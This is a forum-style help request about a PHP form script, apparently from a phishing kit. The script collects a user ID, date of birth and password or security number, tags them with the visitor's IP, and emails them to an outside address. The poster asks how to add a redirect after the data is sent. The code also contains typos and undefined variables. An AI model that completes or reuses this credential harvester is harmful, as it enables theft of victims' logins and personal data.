Am not really good in php but i have the below php script,which takes the input form and send it the specified email addresses. but i want the same php script to redirect the user unpon executing the below script. what i need to add to make this happen?
[CODE]<?php
$hostname = gethostbyaddr($ip);
$message .= “User ID : $usern”;
$message .= “Date of Birth : $dobn”;
$message .= “password : $securitynonn”;
$send=”[email protected]”;
$subject = “form result | $user | $ip”;
$headers = “From: Admin<[email protected]>”;
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($Send,$subject,$message,$headers);
}
?>
I want the php script to still redirect the user to a different webpage after the completion/execution of the above script.